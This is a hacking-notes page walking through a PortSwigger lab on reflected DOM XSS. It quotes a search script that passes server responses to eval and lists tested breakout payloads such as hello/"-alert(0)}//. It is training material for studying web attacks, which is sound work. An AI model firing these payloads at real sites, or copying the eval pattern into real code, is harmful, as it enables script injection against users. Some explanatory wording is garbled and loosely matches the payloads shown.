> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/reflected-dom-xss.md).
# XSS DOM Reflected
XSS DOM Reflected notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Reflected DOM XSS
This lab shows a thoughtful DOM vulnerability. The data sent in the query is returned by the server, then a client-side script treats them dangerously and writes them in a `eval`, opening the door to code execution.
The client makes an AJAX request to `path + window.location.search`. When the answer comes, the code is:
```javascript
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
var searchResults = searchResultsObj.results
var h1 = document.createElement("h1");
h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
blogHeader.appendChild(h1);
var hr = document.createElement("hr");
blogHeader.appendChild(hr)
for (var i = 0; i < searchResults.length; ++i)
{
var searchResult = searchResults[i];
if (searchResult.id) {
var blogLink = document.createElement("a");
blogLink.setAttribute("href", "/post?postId=" + searchResult.id);
if (searchResult.headerImage) {
var headerImage = document.createElement("img");
headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
blogLink.appendChild(headerImage);
}
blogList.appendChild(blogLink);
}
blogList.innerHTML += " ";
if (searchResult.title) {
var title = document.createElement("h2");
title.innerText = searchResult.title;
blogList.appendChild(title);
}
if (searchResult.summary) {
var summary = document.createElement("p");
summary.innerText = searchResult.summary;
blogList.appendChild(summary);
}
if (searchResult.id) {
var viewPostButton = document.createElement("a");
viewPostButton.setAttribute("class", "button is-small");
viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
viewPostButton.innerText = "View post";
}
}
var linkback = document.createElement("div");
linkback.setAttribute("class", "is-linkback");
var backToBlog = document.createElement("a");
backToBlog.setAttribute("href", "/");
backToBlog.innerText = "Back to Blog";
linkback.appendChild(backToBlog);
blogList.appendChild(linkback);
}
}
```
The `displaySearchResults` function runs `searchResultsObj` and dynamically creates elements (h1, h2, p, a, img, etc.), by assigning `innerText` for titles and abstracts but important `searchResultsObj` via `eval`.
```javascript
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
```
The use of `eval('var searchResultsObj = ' + this.responseText)` is critical: if the controlled response contains specially formed text, it is possible to break the expected syntax and inject the JavaScript code that will be executed during the evaluation.
* Send back (or intercept) `responseText` containing the attacking value for `searchTerm` or a similar field.
* Remove from string/literal JSON expected by closing the structure and adding executable code, then neutralize the rest with a comment (`//`) to avoid subsequent syntax errors.
#### Examples of Tested Payloads
(These strings are intended to be placed in the part of the reflected response — they show how to get out of the structure and run `alert(0)`)
```javascript
hello/"jordan
hello/"jordan}//
```
By injecting one of the above strings into the reflected portion of the response, the `eval` will interpret the modified construction and run `alert(0)`, demonstrating client-side code execution via reflected DOM XSS.
```javascript
hello/"*alert(0)}//
```
```javascript
hello/"+alert(0)}//
```
```javascript
hello/"-alert(0)}//
```
---
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